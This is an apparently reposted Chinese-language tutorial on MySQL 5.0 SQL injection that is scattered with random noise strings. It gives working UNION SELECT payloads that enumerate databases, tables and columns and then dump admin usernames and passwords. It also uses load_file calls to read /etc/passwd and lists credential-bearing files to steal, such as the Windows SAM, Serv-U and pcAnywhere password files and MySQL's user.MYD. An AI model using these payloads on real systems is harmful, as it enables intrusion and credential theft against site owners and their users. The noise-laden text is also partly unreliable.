mysql5.0注入原理

admin

记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。
4 F& y% t7 U/ m  W0 Z


Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
中记录了Mysql中所有
7 w2 D6 S7 k: N( W* ?+ j7 [" U- H存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
/ m5 B; u. [! l2 l明。
1.得到所有数据库名：
) s9 U7 d8 j& |, l. k# g|SCHEMATA ->存储数据库名的表
; O. K, E. p3 t# y7 B' D0 }3 z|—字段：SCHEMA_NAME ->数据库名称

|TABLES ->存储表名
|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
5 i( s1 X( R; ]7 K|—字段：TABLE_NAME ->存储表的表名
' B- h- Y: I. Z7 m; `: D" g8 F7 A0 q
|COLUMNS ->存储的字段名表
9 `0 c9 ?1 X4 }, L|—字段：TABLE_SCHEMA ->该字段所属数据库名
|—字段：TABLE_NAME ->存储所属表的名称

|—字段：COLUMN_NAME ->该字段的名称

#########################################################################
% A, G. }7 }: j##

0×001 获取系统信息:
: V. ]* o2 b8 t; M' y
union select 1,2,3,4,5,concat
(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
+ ?8 h' x* \3 l8 p' k(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
/ R" D, z: ~6 I  _( \
* Z4 c  ~/ a; F& p. ?/*
: F/ K6 X/ }, H! w' Y8 D* k
@@global.version_compile_os 获取系统版本

@@datadir 数据库路径
" ]6 ?- F2 n+ G# R. [- Z# Udatabase() 当前数据库名称
0x3c62723e 换行HEX值
; u2 ?+ y  J( m2 D  U5 Q
3 T; y5 f* Y9 [  ~*/

######################################################################
4 a' }4 C; X$ Y
0×002 获取表名

: q8 K) _; g5 N% r% T- B# Wunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from
: r  W* M# A5 }4 z: k! i8 Minformation_schema.tables where table_schema=0x67617264656e /*
% m4 T% B/ I% m. M2 ~, D7 J
/*
, |, L9 o4 \7 V( X
9 F$ l; k, _' q; ]; p0x67617264656e 为当前数据库名
! m  i7 |  e  [2 E: u" M
8 Q# f- A! T) ?" {9 l! y$ ~7 |group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
- C8 n' N) p! B# `1 f) ^0 n
+ N6 X  ?7 t5 _5 u*/
3 u+ q8 N8 }1 ]; r4 Y4 P' h" n" W
1 Y( x! D( ^8 L! h9 y######################################################################
& h( g& [& M1 O' P$ {
0×003 获取字段
( S$ U0 }# o/ s6 a/ D4 S
. H7 _7 i/ ]0 R7 g* n. |union select 1,2,group_concat(column_name),4,5,6,7,8,9 from
1 [: i) l; W, e0 l) uinformation_schema.columns where table_name=0x61646d696e and


& T: U* P  F$ P0 B3 l2 ?0 _table_schema=0x67617264656e limit 1 /*
' z( a( L. ]  a
$ F# r1 [; R; ^- |  M# A/*

. E7 u7 W$ H1 u0 ~4 p: A; h9 jgroup_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段

, n2 ]6 @7 J7 K0x61646d696e ->选择一个表

0x67617264656e ->数据库名

*/

% y$ o) ]3 }! s" w#####################################################################

0×004 获取数据
2 y, W( A$ B) x" V/ y& ]
union select 1,2,3
( Q- w. a4 Z; m,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
7 t) H6 [  l7 Y* n  F# X+ }
- {/ W3 F' t% t7 y! xunion select 1,group_concat(id),group_concat(adname),4,5,group_concat
, ~6 b. @& @6 S(adpassword),6,7,8 from admin
* j0 b/ I+ N, L$ P* i2 R. Q
/*
3 v( O6 C# X0 A9 v1 z! U, |
0x3c62723e 换行符号HEX编码
) j4 b1 r% j$ u- c* d
; D$ q2 H. j% B8 A# `group_concat 同时获得该字段所有数据

) N' g5 F9 q: Q, Q8 e9 U*/

/ z! N6 z; W/ M  c) j5 r0 z) W
7 |0 [) ^+ K2 U+ H
' x: g' N9 F+ H5 h: p
, e9 h; k) r* j& n
顺便添加一些mysql注入时非常有用的一些东西
% Z; Y( R: `& a% J
简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。
  O2 c! G5 f# C1 D$ z: B4 P
7 _& u+ S5 C6 t1:system_user() 系统用户名
2:user()        用户名
" s1 ]+ y) R; A3:current_user()  当前用户名
4:session_user()连接数据库的用户名
3 f3 r. o- ~) \+ z1 D6 S5:database()    数据库名
% E! I, S% L; R4 t9 x$ J" T$ f* A6:version()     MYSQL数据库版本
4 X' V0 X8 |. v# _/ l. |* B$ N7:load_file()   MYSQL读取本地文件的函数
8@datadir     读取数据库路径
9 \8 q1 |! q+ s6 f  v9@basedir    MYSQL 安装路径
' C2 E5 B& J! N  f10@version_compile_os   操作系统  Windows Server 2003,
收集的一些路径：
, p8 N' y# s1 l( n( HWINDOWS下:
c:/boot.ini          //查看系统版本
c:/windows/php.ini   //php配置信息
c:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
/ t4 p. c' ^$ m/ ec:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
  @% r% z( i4 nc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
# K" v# v0 ]2 N* U9 T5 _5 p% C! ^c:\Program Files\Serv-U\ServUDaemon.ini
9 W% J2 U3 P4 `& j  Lc:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
c:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
* f: |: M; j/ P: ~c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
8 q9 L& d" R7 w) g, c8 _1 l. K//存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.
% |) [; D* {$ `8 ~0 K% u
9 ]: j4 ]! l- i# Y0 }' n3 f! J4 t$ w8 k. c
9 B- R0 D& B& tc:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
# B! ?, ^& I' V+ A% H9 ^9 Sd:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

8 C- A% c( d5 T5 M0 jLUNIX/UNIX下:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
  j" i: W# i  Y2 d( t$ v0 Y/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
  T9 A# h- A1 j6 W, Q/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
! t5 P0 A% H6 n7 K- P3 N) U/etc/rsyncd.conf //同步程序配置文件
$ A- {. G) ]7 ~: c6 W9 A0 [/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
) |6 O3 {0 l/ ~+ J) }/ p/etc/issue
/ O. ]: `' B0 B& i0 c/etc/issue.net
$ L; ~9 N, r2 o: v( M/ D; X( g" `/usr/local/app/php5/lib/php.ini //PHP相关设置
5 q+ }& [: K+ E4 e. v1 q4 C/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
4 Z% @% \& n; D6 |# E( h; h& T/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
; _8 Q- J, l$ O; ]' x/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略
+ W$ y0 q+ ?8 z/ G" ]load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
replace(load_file(0x2F6574632F706173737764),0x3c,0×20)
7 g1 m. j1 j; a7 b8 U/ ^% @replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
  z* X$ o, k- d' u8 X